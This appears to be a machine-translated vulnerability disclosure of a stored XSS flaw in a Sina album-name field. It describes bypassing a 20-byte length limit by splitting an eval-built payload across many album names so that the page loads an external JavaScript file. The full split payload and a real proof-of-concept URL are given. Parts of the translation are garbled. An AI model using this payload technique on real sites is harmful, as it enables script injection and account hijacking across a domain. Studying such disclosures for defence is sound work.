Xss (XSS tips for bypassing length restrictions)

Sina pass logon. After tests, this xss does not affect Sina Weibo. It can affect all products under the sina.com.cn domain name. The defect location is limited to 20 bytes (actually 18 bytes ), through some construction, attackers can call arbitrary external js files after bypassing them. A typical case of cross-site scripting (xss) with a length restriction bypass ~~
Test Effect address (proof of vulnerability): http://u.bbs.house.sina.com.cn/space.php? Mod = myalbums & uid = 1821326284 1 the defect location is the album name location of Sina home (the value attribute of ). No special characters are filtered, but the character length is limited to 20 bytes. 2. However, in js, alert (1); you can write var x = "ale"; x + = "rt ("; x + "= 1 )"; eval (x); is used to construct alert (1). the pop-up window is successfully executed. The two locations have an impact, but the image management location is invisible to others.







3. Test the insertion of external js. Although the limit is 20 bytes, during the test, it is found that up to 18 bytes can be inserted. Therefore, you can create 15 albums (up to 20 albums can be created) for construction. Perform a local test first and construct the code. "> <Script>/**/var x =" with (";/**/x + =" document ";/**/x + =") body. ap ";/**/x + =" pendChil ";/**/x + =" d (create ";/**/x + =" Element ("; /**/x + = "'script";/**/x + = "')). sr ";/**/x + =" c = '// px ";/**/x + =" 1624.sin";/**/x + = "aapp.com "; /**/x + = "/t. js' ";/**/eval (x);/**/</script> alert: Check whether the constructed code is correct. Then we use charles to construct post and send packets. Many disgusting problems were encountered during the process, for example, due to special characters such, as a result, you cannot insert 15 data records at a time. However, through back-and-forth debugging, we finally solved all the problems. After successful insertion, F12 will see an example. 4. Execute the code in external js. Because it is a Sina pass login, it can affect all products under the sina.com.cn domain name. Because Sina Weibo has cross-domain access and referer verification, it cannot be affected.Solution

Filter special characters